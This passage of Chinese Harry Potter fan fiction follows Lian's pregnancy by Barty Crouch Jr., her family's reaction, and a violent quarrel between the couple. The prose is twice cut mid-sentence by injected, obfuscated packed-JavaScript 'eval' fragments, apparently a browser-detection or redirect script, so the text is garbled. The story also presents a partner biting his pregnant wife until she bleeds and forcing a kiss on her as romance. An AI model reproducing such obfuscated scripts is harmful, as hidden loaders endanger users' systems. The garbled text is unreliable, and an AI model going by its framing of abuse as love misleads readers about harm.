这时,莉安听到一个路过的高个子女人对同伴说,“这个地方从来没有开张过…” 她凑到一个橱窗前,里面只有一个特别丑的女假人,假睫毛都要掉了,穿着绿色尼龙裙,她望着那个丑陋的假人,呼出的气模糊了玻璃,“你好,我来检查身体。” 街上人来人往,汽车声那么响,但假人完全听得见,只见假人微微点一下头,招了招连在一起的手指,她径直穿过玻璃消失了。 熙熙攘攘的人群,似乎谁也没工夫瞥一眼淘淘公司这样难看的橱窗,也没人注意到有个女人刚刚在他们面前融入了空气中。 好像穿过了一层凉水,莉安暖和干燥的从对面出来了。 丑陋的假人和她站的地方都无影无踪了,他们来到了一个拥挤的候诊室,一排排男女巫师坐在摇摇晃晃的木椅上,有的看上去很正常,在读过期的《女巫周刊》,另一些则有可怕的畸形,如长着象鼻子或胸口多生出了一只手。 室内比街上安静不到哪儿去,因为有许多病人发出非常奇怪的声音,前排中间一个满头大汗的女巫使劲扇着一份《预言家日报》,不断发出尖锐的汽笛声,口吐蒸气,角落里一个邋遢的男巫一动就像钟那样当当响,每响一声他的脑袋就可怕的摆动起来,他只好抓住耳朵把它稳住。 穿绿袍的治疗师们在候诊者中走来走去,询问情况,在写字板上作记录,他们胸口绣徽章:一根魔杖与骨头组成的十字。 莉安排到标有“问讯处”字样的队伍里,一个胖胖的金发女巫正坐在桌子前,她身后的墙上贴满通知和招贴,如干净坩埚防止魔药变毒药,解药不可乱用,要由合格治疗师认可。 队伍前头一个年轻男巫在跳着一种奇异的快步舞,一边喊痛一边试图向桌后的女巫解释他的困境。 “是——嗷——我哥哥给我的鞋子——它在咬我的——嗷——脚——看看,上面一定有——魔咒,我——啊——脱不下来——”他轮流跳着两只脚,好像在热炭上跳舞。 “鞋子没妨碍你阅读吧?”金发女巫不耐烦的指着桌子左边的大牌子说,“你得去五楼的魔咒伤害科,指示牌上写着呢,下一个!” 那男巫一跳一拐的让到一边,莉安往前挪了几步,看着指示牌: 器物事故科——一楼(坩埚爆炸、魔杖走火、扫帚碰撞等) 生物伤害科——二楼(蜇咬、灼伤、嵌刺等) 奇异病菌感染科——三楼(龙痘疮、消失症、淋巴真菌炎等传染病) 药剂和植物中毒科——四楼(皮疹、反胃、大笑不止等) 魔咒伤害科——五楼(去不掉的魔咒、用错的魔咒等) 茶室和商店——六楼 如果不知去哪一科,不能正常说话,或不记得为何事而来,我们的接待员愿意帮忙。 一个脸色疲惫的男巫紧紧抓着女儿的脚脖子,她那件连裤衫背部长出来的一对大羽毛翅膀在他脑袋旁边拍打着。 “五楼。”女巫问都没问就厌倦的说,那男子举着女儿从旁边的双扇门走了出去,像举着一个奇特的气球,“下一个!” 莉安走到桌前。 “你好,我来体检,请问?” “体检?”女巫询问了莉安的名字,帮她登记,“哦,六楼,一会儿治疗师西奇会上去找你。” “谢谢。”莉安说。 她穿过双扇门,走过一条狭窄的走廊,两边是著名治疗师的肖像,装有蜡烛的水晶泡泡飘在天花板上,看上去像巨大的肥皂泡。 各个门口有治疗师进进出出,有一扇门里飘出一股黄色的臭气,不时听到隐隐的哀号声,她登上一架摇摇晃晃的楼梯,慢慢往六楼走。 墙上挂着面目狰狞的治疗师的画像,爬楼梯的时候,那些治疗师冲她嚷嚷着,诊断出各种稀奇古怪的病症,又想出种种可怕的疗法。 茶室不大,天花板上的水晶泡泡闪着光,栋木镶板的墙上挂着一个邪里邪气的男巫的肖像,上面写着:厄克特·拉哈罗(1612~1697),掏肠咒发明者。 莉安解开自己的亚麻披肩,摸了摸小腹,三个月的肚子一点儿都看不出来,她还是消瘦的模样。 她点了一杯咖啡,悠闲的等待自己的治疗师,茶室里人很少,只有几个倒在椅子上疲惫的正打瞌睡的巫师,可能隔壁的商店人还多一些。 不多时,就在莉安的咖啡喝了一半的时候,一个头上戴着金银丝花环的如母亲般的治疗师匆匆跑来,热情的对她微笑着。 “莉安·普威特小姐?噢真的是你,我记得…我有看报纸,你是三强杯的勇士…我很高兴见到你…” 莉安扯了扯嘴角,露出一个略显生硬的笑容,“是啊,嗯…我今天来,是想请你帮我检查一下身体…嗯…我的情况有点特殊…” “噢,太好了——不好意思——我不是说你生病太好了,而是帮你检查身体太好了…但你看起来不像出了问题,我需要帮你检查什么呢?我想不出为什么,你没有在比赛中受伤,对不对?” “我最近食欲不振,但是我不能一直这么消瘦下去,”莉安慢吞吞的说,“我怀孕了。” 治疗师露出被雷劈了一样的表情,笑容僵在嘴角,她瞠目结舌的看着莉安,仿佛她是个早熟的两岁儿童,“我记得,你成年了…是不是?” “去年就成年了,”莉安压低了声音说,“所以没有问题,你不要多想。” 治疗师尴尬的笑了笑,似乎对她怀孕了还能参加争霸赛感到震惊,她嘀嘀咕咕的说,“那么危险的比赛,真是有勇气的格兰芬多,愿梅林保佑你…不过你没受伤真是太好了——” “啊,”莉安徒然的说,“谢谢,我们可以开始了吗?” 治疗师慈祥的冲着她微笑,她们站起身,莉安只觉得几个咒语落在自己身上,红色的光圈在身上不停随着治疗师的魔杖移动,片刻后,光圈消失了。 “怀孕三个月,”治疗师意味深长的说,“看来是复活节假期时发生的事,从最后一次月事算起,距离现在正好满三个月。” “孩子还好吗…”莉安脸红了,她的嗫嚅低得几乎听不见了,治疗师无可奈何的叹了口气。 “你和孩子们都有点营养不良,所以必须吃东西,”她说,“去隔壁商店买一些振奋食欲的药剂吧。” “孩子们?”莉安疑惑的看着她。 “是啊,他们是两个男孩儿,”治疗师小声说,“大多数女巫都想要一男一女,但两个男孩儿也不错,像韦斯莱夫人那样生了六个男孩儿才可怕,其中有一对就是双胞胎…” 莉安和治疗师一起打了个寒颤,六个男孩儿,噢,那真是太可怕了… 听到是两个孩子,她心里有一瞬间窃喜,以为自己不需要再生二胎了,但是两个儿子…她觉得,自己不愧是普威特,她有跟姑妈一样生女儿的执念。 都怪小巴蒂没用! (小巴蒂:……啊对对对!) 莉安有些失落的站起身,治疗师给她开了一张药单,于是她们很快告别,莉安去隔壁的商店买了所需的药剂,尤其是提高食欲的那种,她买了许多。 离开圣芒戈后,莉安拿着大包小包的魔药,幻影显形落在陋居门口。 门口仍然像以前一样乱糟糟的堆放着许多旧靴子和生锈的坩埚,莉安听见不远处棚子里传来母鸡下蛋时发出的咯咯声,她在门上轻轻敲了三下,立刻,厨房的窗户后面有了动静,但窗帘没有打开。 “是谁?”一个声音紧张的问,“报上名字!” “是我,姑妈,我是莉安。” 门立刻就开了,门口站着莫丽,矮矮胖胖的,身上穿着一件旧的绿色长袍,她脸色苍白,焦急的扑了上来。 “莉安,亲爱的!天哪,你没事吧?你吓了我一跳,邓布利多说你被食死徒挟持了!如果不是收到了你的信——” “我没事,姑妈,”莉安笑了笑,拥着她进了客厅,“他没对我做什么,所以我给邓布利多去了信,我想赫洛今天应该就会把我的行李拿回来了。” “可怕…可怕…”莫丽低声说着,把茶水倒进一个大茶杯里,不容置疑的塞给莉安,“哈利到现在都没有缓过来,今天我离开的时候,他还是很不安,被食死徒骗到那种地方去,又跟神秘人决斗…” 莫丽不停的擦着眼泪,又瞥了一眼墙角上的那座老爷钟,它有九根金针,每根针上都刻着韦斯莱家一位成员的名字,钟面上没有数字,却写着每位家庭成员可能会在的地方,有“家”、“学校”和“上班”,也有“路上”、“失踪”、“医院”、“监狱”,在普通钟上十二点的地方,标着“致命危险”。 此刻,四根指针都在“学校”的位置,比尔和莫丽的指针在“家”,而亚瑟的那根——是九根针里最长的一根,仍然指着“上班”,莉安叹了口气。 “我刚从圣芒戈回来,治疗师说我已经没有被夺魂咒控制了——”顿了顿,莉安又说,“姑妈,我想跟你说一件事。” “什么事?”莫丽不安的问,“要不我去给你做点儿吃的吧,我们到厨房去,好吗?” 莉安点点头,两人进了厨房,她坐到桌子旁,仍然抱着那个大茶杯,而莫丽往煎锅里放了几个鸡蛋和火腿,然后站在水池前,守着一堆正在自动削皮的球芽甘蓝。 “姑妈,”莉安清了清嗓子,镇定的说,“我打算结婚。” 莫丽的魔杖突然掉到了地上,咕噜咕噜滚到莉安脚边,她刚想俯下身捡起来,突然想到肚子里还有两个儿子,于是她举起魔杖,用了飞来咒,然后她把莫丽的魔杖放在了桌子上。 “结婚?和谁?”莫丽震惊的看着她,眼珠子都不会转了,“你什么时候谈恋爱了?我怎么不知道?” “世界杯的时候,”莉安把事先准备好的说辞拿出来应付她,“那阵子兵荒马乱,魔法部人仰马翻,我看亚瑟很忙,就没有说…但是他对我很好,这阵子我们一直在通信,嗯…我已经决定和他结婚,早点给普威特生下继承人,他同意了孩子跟我姓。” 莫丽听到孩子姓普威特,立刻追问道,“他一点儿也没有不情愿吗?啊…太好了!太好了!真是个好孩子,那婚礼呢?他什么时候来陋居拜访?我得提前打扫一下家里——” “噢,他不在英国,以后可能也不会来,”莉安说,“复活节时他来霍格莫德找过我,我们就定下了婚事,所以我打算过阵子去法国跟他见面,但我还会回来的,姑妈,我以后在英国定居,只是顺便回一趟勒洛伊家族。” “搞得这么神神秘秘…”莫丽一边没好气的说,一边把七八个煎蛋和火腿片放进她的盘子里,“可是见不到他,我会担心的,万一他对你不好呢?或者只是垂涎普威特和勒洛伊的祖产,我的莉安小宝贝,你可千万不要被人骗了…” 莉安从客厅的袋子里面掏出一瓶振奋食物的药剂,忙不迭的倒进嘴里,感觉自己能吞下一头火龙后,又回到厨房里,坐下猛吃,风卷残云一般把盘子里的东西吃得干干净净,这才在莫丽目瞪口呆的眼神中抬起头来,“不会的,我很了解他,他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是的,”莉安惊慌失措的望着她,“我正准备回祖宅去…噢,对了,我用了赤胆忠心咒,因为黑魔头已经复活,所以我把祖宅藏起来了,毕竟那房子之前有食死徒闯进来,如果你们找不到我,不用担心,我就在房子里。” 比尔痛苦的看了她一眼,但莉安匆匆的下楼,拿起那些药剂,只留下一句“先走了”,便走到门外幻影移形了。 回到祖宅时,天都已经黑了,小巴蒂已经在客厅里等着了,药剂的作用还没有过去,莉安一副饿死鬼投胎样,冲进了厨房,抓起桌子上的约克郡布丁连吃了三个才缓过来那股让她心慌的饥饿感。 “今天胃口不错。”小巴蒂跟进了厨房里,闪闪从烤箱拿出来少爷最爱的爱尔兰炖肉和一大盘子各种口味的香肠,摆到桌子上。 “巴蒂,”莉安喘了口气,双眼放光的盯着他,“我有个好消息要通知你。” “什么好消息?”小巴蒂见她卖关子,配合的问了一句,但他坐到桌子上,手下不停的用长柄勺给她舀了一碗羊肉满满的炖菜。 莉安对他露出一个灿烂的笑容,“不是他,是他们,巴蒂,两个男孩儿!我打算让他们一个姓普威特,一个姓克劳奇!” 小巴蒂猛地站起身,把她从椅子上举起来,但莉安身高腿长,没比他矮多少,所以她的腿可怜的到处乱蹬,时不时站到地面上,一时有些搞笑。 “姓不姓克劳奇无所谓,但是两个孩子啊…普威特是有生双胞胎的传统的,当然——我也很厉害,是不是?” “如果你厉害,那应该有个女孩儿!”莉安尖叫道,“放我下来!” 小巴蒂嘴角咧开,露出一个大大的笑容,他小心的把她放到椅子上,又问,“韦斯莱那边怎么说?” “同意了,但是对于你不出现这种行为,姑妈很气愤。”莉安想到她和比尔的事暴露,有点难过,但她很快就丢到脑后,毕竟她已经要和小巴蒂结婚了,莫丽会想清楚这一点的。 “如果我出现,他们会更气愤,”小巴蒂毫不客气的哈哈大笑,戏谑的说,“还是别让他们知道吧,保留一点美好的幻想,毕竟普威特的名声还是挺好的,而克劳奇已经臭不可闻。” “噢,别再说这种话了…”莉安头疼的呻吟道,“我也不知道能瞒住多久,尽量拖着吧,我倒是想让你脱离食死徒,可是看卡卡洛夫那个样子,恐怕…” “没错,”小巴蒂美美的喝着羊肉汤,幸灾乐祸的感叹道,“你知道吗,卡卡洛夫逃了,就在昨天晚上,黑魔标记灼烧的那一刻,他连校长都不做了,连夜逃走,但是没有用,他逃不了多久的,黑魔王总有办法追踪这些叛徒…” “他会怎么做?背叛者的下场是什么?”莉安忍着厌恶,紧张的问。 “摄魂怪之吻,”小巴蒂干脆的说,“摄魂怪是黑魔王忠实的盟友,他能给它们提供更多的生存环境,而不是局限于阿兹卡班,我相信很快它们就会叛变的,魔法部这是养虎为患。” “但是今天,我没听到任何风声…” “福吉是个胆小鬼,老巴蒂带我去跟他听过音乐会,”小巴蒂解释道,“胆小、懦弱、利欲熏心、贪恋权势,黑魔王摸准了他的想法,你等看着吧,亲爱的,福吉一定会否认黑魔王卷土重来这件事,并且竭力打压邓布利多、控制舆论的喉舌,我想,是时候让你看清魔法部有多腐败了。” “我昨晚情急之下撅断了他的魔杖…”莉安纠结的说。 “那不是一时情急,你讨厌他,”小巴蒂一针见血的说,“他想杀了我,所以你也想杀了他,但你下不去手,只能做这种事——撅断魔杖是魔法界最能让人感觉到耻辱的一件事,他肯定认为,你还不如直接给他一耳光来得痛快。” “我不建议你现在做傲罗,”小巴蒂看她怔怔的神色,继续说道,“福吉是个比老巴蒂还恶心的人,他不仅仅是伪君子,也是真小人,他为什么不顾邓布利多的制度,一定要带摄魂怪进城堡呢?他想彻底摧毁我,让黑魔王归来的消息石沉大海,我们逃走了,他此刻的一定非常庆幸,你也是知道真相的人,如果你现在去了魔法部,他会打压你,甚至示意傲罗主任拒绝接受你的申请。” “连傲罗也可以暗箱操作吗?”莉安震惊极了。 “当然,部长的权利很大,并且魔法部已经烂透了,宝贝,我没有危言耸听,克劳奇是政治家族,拥有你想象不到的信息渠道,并且老巴蒂要求我毕业后进入魔法部,当年我就在傲罗指挥部接受特训,我很清楚。” “可这是我的夙愿——” “就等一个暑假,”小巴蒂坚决的说,“静观其变,等暑假结束时,我想你就知道要不要听我的建议了。” 莉安见他没有一副公事公办的态度勉强自己,心情又变得明媚起来,她胃口大开,喝了五碗加了土豆、胡萝卜、洋葱的羊肉汤。 二人吃完晚饭,赫洛从霍格沃茨回来,把她的行李仔细收拾妥当,并带来了麦格的原谅以及邓布利多的问候。 “嗯,总算解决掉了,”莉安伸了个懒腰,她最近有些嗜睡,困倦的在小巴蒂怀里打着呵欠,“麻瓜的电力那篇论文我写得很不错,可以拿到O,说真的,最近我突然对他们的电视机很感兴趣。” “那下次我回来买一台。”小巴蒂的魔杖一点,枝形吊灯熄灭了,房间里只有星球熔岩灯闪烁着幽蓝色的光芒。 收音机里开始放起悠扬的音乐。 Smile more when I see you, Smile more when the sun shine bright, Believe in me yeah I need you, Smile more when I see your face, Smile more when I feel love, But smile less when I need to let go. 闭上眼睛之前,莉安恍恍惚惚的想,她是多么喜欢这首曲子——雪飘落的声音,他的眼泪,圣诞那天晚上他们在办公室,徘徊在门边时突然的一吻。 18. 级长 1995年8月31日,普威特祖宅。 小巴蒂又一次鼓捣电视机天线的时候,莉安目不转睛的在房子下面看着他,她真的好怕他摔下来,所以虎视眈眈的举着魔杖,准备在他跌下来时随时让他缓缓下落。 小巴蒂刚准备幻影移形就看到她紧张的眼神,被这副小心翼翼的样子逗得玩心大起,他突然假装脚下一滑,莉安心都快跳出了胸膛,立刻喊道,“Mobiliarbus! ” 小巴蒂跳起来,敏捷的躲开了她的移动咒语,然后放声大笑,“哈哈哈哈,你居然当真了…哈哈哈哈!” 莉安:……我真是想不开,居然嫁给了这个狗男人! 她一言不发的走开了,盯着花园里的地精生闷气。 小巴蒂拍了拍手,这才慢悠悠的幻影显形落在她旁边,恶劣的伸手去掐她的脸,“生气了?不是吧不是吧?刚才不是还担心我吗?你不会这样吧?这样对待自己的丈夫?” “克劳奇!这很好玩吗!”莉安瞪着他,举起魔杖戳在他脸上,恨不得给他戳一个酒窝出来,“你都不怕把他们吓出来吗!” 小巴蒂的视线下移,盯着她的肚子,那里已经隆起的很明显——双胎五个月的肚子比单胎要大很多。 “像个银制坩埚,”小巴蒂掀开她的长袍,俯下身吻了吻她的肚子,“还是那么闹腾吗?” “是啊,神经病的孩子,精力旺盛,”莉安一脸憔悴,神情疲惫,“他们一会儿拱一下,一会儿拱一下,可能怀了两个奶牛猫吧。” 小巴蒂把她的长袍放下,又扶着她进了客厅,温柔的把她按在沙发上,他也坐了下来,好奇的问,“一定要去找你姑妈?” “是啊,姑妈上午来了信,说今天有个晚会,”莉安想到那封信的内容,嘴角上扬,忍不住笑出了声,“天呐!你绝对想不到,晚会的主题是庆祝我的小表弟当了级长!” 小巴蒂终于察觉到自己一直忽略了一个问题,他疑惑的打量着妻子,过了好半晌,才用不经意的口吻说话了,“你怎么不是级长?明明你那么优秀。” “因为我几乎不和其他同学来往,麦格教授也知道我不会给自己找那么多麻烦,级长要管理其他同学、监督火车秩序、在走廊和休息室巡逻…”莉安毫不在意的说,“你看我像会管闲事的人吗?” “可是你把我救了回来,”小巴蒂挑了挑眉毛,不怀好意的看着她,“你的确不管闲事,你管大事。” “下次再也不管了,省得再被人恩将仇报,”莉安喃喃的说,“真可怕,我救了你,你却赖上了我。” “是你爱上了我,你不希望我走,”小巴露出一抹狡猾的神色,无耻的说,“好女孩儿,你看你多高兴,叔叔让你有了两个孩子,普威特后继有人,是不是?” “如果你的脸皮能分给我一点儿,我想就算是让我去斗一条匈牙利树蜂,恐怕也不需要铁甲咒了,”莉安面无表情转过头,不想看到他一脸得意的样子,“你真无耻。” “但你爱的死去活来。”小巴蒂懒洋洋的在她旁边躺了下去,魔杖指向电视,于是此时正是午间新闻的时间。 “看来天线修好了,看新闻吧。” 莉安听了这话,也靠在软枕上,两人亲密的挨在一起,小巴蒂的手滑进了她的长袍中,轻轻抚摸她的肚子,时不时还能感受到胎动。 今天的新闻非常无聊,不是西班牙机场的行李搬运工罢工,就是东南部地区的旱情,然后是一架直升飞机差点在萨里郡的田野坠毁,接着是某位大名鼎鼎的麻瓜演员跟她那位大名鼎鼎的丈夫离婚。 “还好,最近食死徒们没什么动向,也没有入侵麻瓜界。”莉安松了口气,如果有人不明原因的失踪,或出了奇怪的意外事故肯定会上新闻,因为巫师的杀人手法一直都是麻瓜们摸不着头脑的。 “主人在蛰伏,”小巴蒂漫不经心的说,“就算是他,也无法对抗源源不断的傲罗搜捕,所以公开活动要等我们的势力恢复再说。” 说到这里,小巴蒂的魔杖点了点茶几上的《预言家日报》,它们飞了过来,“这两个月你看清福吉的嘴脸了吧?怎么样,还想不想去魔法部?” 莉安无可奈何的接住了那些报纸,“赫洛,拿去做午饭。” 赫洛高高兴兴的拿着报纸冲进了厨房,准备拿它们生火——虽然小精灵并不需要这么做。 “这就是我不建议你现在去做傲罗的原因,”小巴蒂把她拖着往后仰,让她继续靠在软枕上,“福吉知道邓布利多比他聪明,法力也强大,所以在他的内心深处,他很忌惮邓布利多,他认为邓布利多要抢他魔法部部长的位子,不惜诋毁、污蔑,说他是凭空编造,黑魔王没有卷土重来。” “尸位素餐的官僚,”莉安冷冷的说,“真够恶心的。” “因为如果承认黑魔王回来了,就意味着有大麻烦,这种麻烦魔法部已经有将近十四年没有碰到了,”小巴蒂继续一针见血的说,“福吉没勇气面对这件事,因为处理不好会下台,之前的确有部长因为这个原因而下台,所以他宁愿相信邓布利多是在散布谣言,破坏他的稳定地位。” “是啊,福吉一直在对《预言家日报》施压,不让他们报道有关的任何消息,他们现在宣称这是邓布利多的谣言,所以大部分巫师完全不知道这件事,这样他们很容易成为食死徒的攻击目标,”莉安皱了皱眉,“如果食死徒使用夺魂咒的话。” “别担心,一定会用的,”小巴蒂肆无忌惮的笑了笑,“不过不是我,我不搞这个,我现在天天看斯内普提心吊胆的演戏,怕我揭穿他,哈哈哈哈…” “他喂了你那么多吐真剂,你居然还没把他弄死?”莉安情不自禁的说,“你在折磨他,是不是?让他头上随时都有一把闸刀——” “他还有点儿用,关于邓布利多的消息半真半假,”小巴蒂不屑的撇撇嘴,“主人吃这一套,而且并不是那么信任他。” “能不能不要叫他主人,”莉安嫌恶的想呕吐,“听上去像一条狗、一个仆人,你为他出生入死,差点被摄魂怪吻了,他呢?他奖赏你什么了?让你继续当狗吗?” 小巴蒂的表情变了,他压住怒气没有发火,但脸上露出了疯癫的表情,失控的提高了音量,带着一种狂热的激情大喊道,“我跟他的关系比儿子还亲!” “但是你的儿子在这里,”莉安起身,用手指着自己的肚子,厌恶的说,“他们跟你的关系才是比儿子还亲,但是你假装看不到,你假装看不到你的妻子是凤凰社的人,假装看不到你的儿子已经站在了分岔路的路口,你更不关注他们未来会有多么纠结、矛盾和割裂——他们的父母拥有背道而驰的理念。” “你在劝我?”小巴蒂神色不定的看着他。 “我只是提醒你,以后少在我和孩子面前称呼他主人,”莉安转身,冷冰冰的说,“我到现在都不理解我为什么会嫁给你,可能是我没有父母教导,我太年轻,也太傻,一时想不开…” “你说什么?”小巴蒂猛地站了起来,阴沉沉的看着她,“嫁给我你后悔了是不是?如果不是这两个孩子,你想立刻把我甩掉、抛弃我,是不是?” 莉安没有说话,往厨房走去。 “你给我说清楚,”小巴蒂不依不饶的跟进了厨房,抓住了她的肩膀,把她翻过来面对自己,“为什么不回答?你又嘴硬了是吧?你不说今天我就——” “你就怎么样?你想怎么教训我?”莉安不耐烦的说,“对我大打出手吗?你想家暴你身怀六甲的妻子?那你随便吧。” 说完,她梗着脖子,一副有恃无恐的样子。 小巴蒂恶狠狠的瞪着她,吓得两个小精灵瑟瑟发抖,但仍然一左一右的抱住了他的腿。 “不许欺负赫洛的主人!你这个坏巫师!” “巴蒂少爷!巴蒂少爷!她是你的妻子!” “我问你是不是想离开我!说话!”小巴蒂愤怒的摇着她的身体,但不敢真的用力,他深深的吸了口气,语气平静了一些,“我是不是被你算计了?你只是想要普威特的继承人——” “没错,”莉安听了他的恶意揣测,气不打一处来,嘴里不停的刺激他,“被你发现了,我只是想找一个法力强大的男巫借——” “借什么?再说一遍!”小巴蒂气得脑子发懵,狠狠的咬住了她的嘴唇,“再说一遍!” “你是狗!放开!”莉安呜呜的叫着,“疼!” 小巴蒂松了口,一边舔了舔她嘴唇上的鲜血,一边含含糊糊的说,“我让你再嘴硬!” “是你先说的!”莉安推开了他,摸着自己被咬破的唇,委屈的眼泪一颗一颗掉了下来,“克劳奇,你不是人,我…我现在真的后悔了…” 小巴蒂也觉得自己有些过分,但他气愤她总是想把自己像丢垃圾一样甩掉,哪怕他们有了孩子,这也并未给他多少安全感,于是僵硬的板着脸,没有说话。 “你走吧,”莉安抽泣着说,“你是个疯子,还有暴力倾向,我想清楚了,我不能一辈子跟一个定时炸弹在一起,你随时都有可能杀了我和孩子…” 小巴蒂听了她的话,刚想上前两步解释,就被她的魔杖抵住了喉咙。 “我不想再看见你,”莉安紧紧的握着魔杖,小巴蒂那张英俊的脸在她发糊的视线中失去了棱角,“你总是骗我,其实我都知道,只是我一直在自欺欺人罢了,你觉得我是孤儿,我好拿捏,可以任你摆布,你肆无忌惮的对我做那种事,我承认我忘不了我们的初见,但是…” “但是到此为止了,”她哭着说,“你走吧…” 小巴蒂握住了她的杖尖,使劲儿向下压,毫不畏惧魔杖可能发出咒语或者回火爆炸,他把魔杖夺了过来,扔在地上,强行把她搂进怀里,任她怎么挣扎捶打自己都不松手。 “对不起宝贝,”小巴蒂的声音闷闷的,“孕妇情绪不好,是我忘了这件事,别生气了,你可以骂我别的,咬回来也可以,但是别说这种让我走的话,你就是我的家,你让我去哪里?” 莉安没有说话,继续挣扎。 “别抛弃我…别像老巴蒂那样…”小巴蒂的声音越来越低,沮丧的像个小孩子一样瘪了瘪嘴,“我们都是彼此的依靠,你给我一点安全感,好不好?” “这不是你对我动手的理由!” “我没有动手,我也舍不得动手,我只是动嘴罢了…”小巴蒂可怜巴巴的望着她,“你的嘴太硬了,我爱它,又恨它…” 莉安还在生气,胸脯剧烈的起伏着。 “只要你不说什么抛弃我的话,我不会对你发脾气的,”小巴蒂察觉她有一点松动,趁热打铁道,“你说我欺负你是孤儿,我发誓,我没有,我爱你,但是我性格就是这样…你爱我,你会接受的,是不是?” “你这大骗子还敢发誓,今晚打雷劈死你!” “劈死我你就守寡了,你一个人能养活两个孩子吗?”小巴蒂委屈的高声叫道,“我是他们的父亲,你能不能盼我点好?” “你死了我还有金库的钥匙,有两个小精灵,我有什么养活不了的?”莉安气呼呼的咬了他钳制自己的手臂,“松开!你这个无耻之徒!” “我就不!”小巴蒂把她按在墙上,嘴唇压了上来,强势的撬开了她的牙齿,吻得啧啧作响,这个吻混乱中带着一丝章法,两人的鼻子都撞在了一起,莉安感觉自己晕晕乎乎的。 小巴蒂趁她还在恍惚,把她抱回了卧室里。 等莉安回神时,发现自己已经躺在了床上,而小巴蒂钻进了她这件超大尺寸的长袍里。 小巴蒂一边抚摸她的肚子,一边在她的胸口上蹭来蹭去,这件长袍让他想到了一条能让两个人共享的粗糙羊毛毯,他想知道它包裹之下的世界是什么味道,是像他的世界一样带着毁灭和仇恨的气味,还是一个完全陌生的世界,带着像赤道果实一样新奇和刺激的气味。 “巴蒂,你到底要干嘛…”莉安被他的金发擦过皮肤的感觉弄得痒极了,按住了那只拱来拱去的头。 “我喜欢你的气味儿,”小巴蒂的头被按住了,但他的手还能动,不老实的在她隆起的肚子上上下滑动,“我能感觉到,我的孩子在跟着我动。” 莉安也感觉到了,两个小家伙正顺着他们父亲的手的方向移动、翻身,偶尔还会踹她一脚。 她刚想咬咬嘴唇,就碰到了伤口,痛得嘶了一声,这让她更心烦意乱了。 这两个不争气的东西!一点也不向着他们的母亲! 小巴蒂耐心的陪两个孩子玩了一会儿,才钻出长袍,把她揽进怀里,“好了,不生气了,孩子们喜欢我,而你更爱我,所以别再说那些伤人的话了,你有时候跟个小孩子一样,总是口是心非,如果我走了,或者今晚真的打雷,把我劈死了,恐怕余生你都要在后悔中度过。” “你就没有错吗?”莉安恹恹的说,“居然真的咬我,咬得好疼,如果不是我怀孕了,谁知道你会怎么折腾我。” 小巴蒂翻身下床,在房间里翻箱倒柜了一阵,终于掏出一瓶白鲜,回到床边给她上药,很快伤口就愈合了。 他又跳上床,温柔的蹭蹭她的脖子,“我真高兴你嫁给我了,恐怕除了阿兹卡班那些家伙,只有你一个人不嫌弃我是个罪犯。” 莉安叹了口气,惆怅的感受着他的阴晴不定,小巴蒂温柔的时候,简直就是最体贴的伴侣,可他又会时不时发疯,让她避之不及,唯恐他会伤害到自己。 她想,她不该爱他的,但就在这时,小巴蒂在她耳边吻了一下,“你真好闻。” 莉安抓紧了床单,没有说话。 像是嘲笑和诉说事后的想法——毒液,他的两张截然不同的面孔是毒液和解药,这就像在一个寒冷的早晨,温暖蓬松的面包刚出炉,面包皮突然碰到了牙龈,把世界上最美妙的味道变成了难闻的、令人作呕的黏稠物。 晚上大约六点钟的时候,小巴蒂帮莉安换好了一条宽松的长裙,又吻了吻她的额头,这才把她送出了门。 莉安幻影显形来到了位于格里莫广场12号的凤凰社总部,一进昏暗的门厅,她就蹑手蹑脚的走过两道长长的、布满虫眼的窗帘——她可不想吵醒沃尔布加的画像,接着绕过一个看上去是用巨怪的一条断腿做成的大伞架,然后走到挂着家养小精灵头颅装饰的楼梯底下,穿过一道门,进入了地下室的厨房。 这里几乎和上面的门厅里一样昏暗,是一个洞穴般幽深的房间,四周是粗糙的石头墙壁,大部分光线都来自房间那头的一个大壁炉。 管子里冒出的烟雾弥漫在空气中,如同战场上的硝烟,黑乎乎的天花板上挂下来的沉甸甸的铁锅铁盆,在烟雾中显得面目狰狞,往常开会时,木头桌子上散乱的放着羊皮纸卷、高脚酒杯、空酒瓶不见了,取而代之的是无比丰盛的美味佳肴,桌子上方挂着一条鲜红色的横幅,上面写着: 「热烈祝贺罗恩和赫敏当选级长」 莫丽满脸喜色的说,“我想我们应该搞一个小小的晚会,而不是一本正经的坐着吃饭,亚瑟和比尔正在路上呢,我派猫头鹰给他们俩都送了信,他们都激动坏了。” 弗雷德翻了翻眼睛,这时,他突然看到了从第三场比赛之后就再也没见过的莉安,立刻大声招呼起来。 “天呐!莉安!我的表姐!听说你结婚了,但是这个速度也太快了吧。” 莫丽转过头,刚想寒暄两句,就瞠目结舌的盯着她的肚子,震惊的说不出话来。 小天狼星、卢平、唐克斯和金斯莱已经到了,哈利三人组也在这里,他们和韦斯莱一家都盯着她的肚子,一言不发。 “五个月了,双胞胎大了点,”被这么多双眼睛盯着,莉安不好意思的笑了笑,恨不得找个地缝钻进去,但她还是英勇的面对这一切,硬着头皮解释道,“复活节的时候我们在一起…” “这就是你急着结婚的原因?”莫丽没好气的尖叫道,“两个月前你来陋居的时候就已经怀孕了!” “妈妈,冷静。”金妮连忙给她顺气。 莉安无可奈何的点点头。 莫丽显然不是那么好糊弄的,她狐疑的审视着莉安,冷不丁问道,“他到底是谁?居然在你读书的时候做出这种事!哼…你甚至怀着孕参加了第三场比赛,也不怕自己有个闪失,可真是勇敢…万一普威特再也没后代了——” 莉安战战兢兢的看着她,这时,疯眼汉穆迪脚步沉重的走了进来。 “哦,阿拉斯托,你来了我真高兴,”穆迪脱掉身上的旅行斗篷时,莫丽缓和了满是怒容的脸色,“你喝点酒吧,实际上,我们在搞一个小小的庆祝活动…” 她指了指鲜红色的横幅,又揉揉罗恩的头发,慈爱的说,“家里第四个级长!” “级长,哦?”穆迪低吼道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 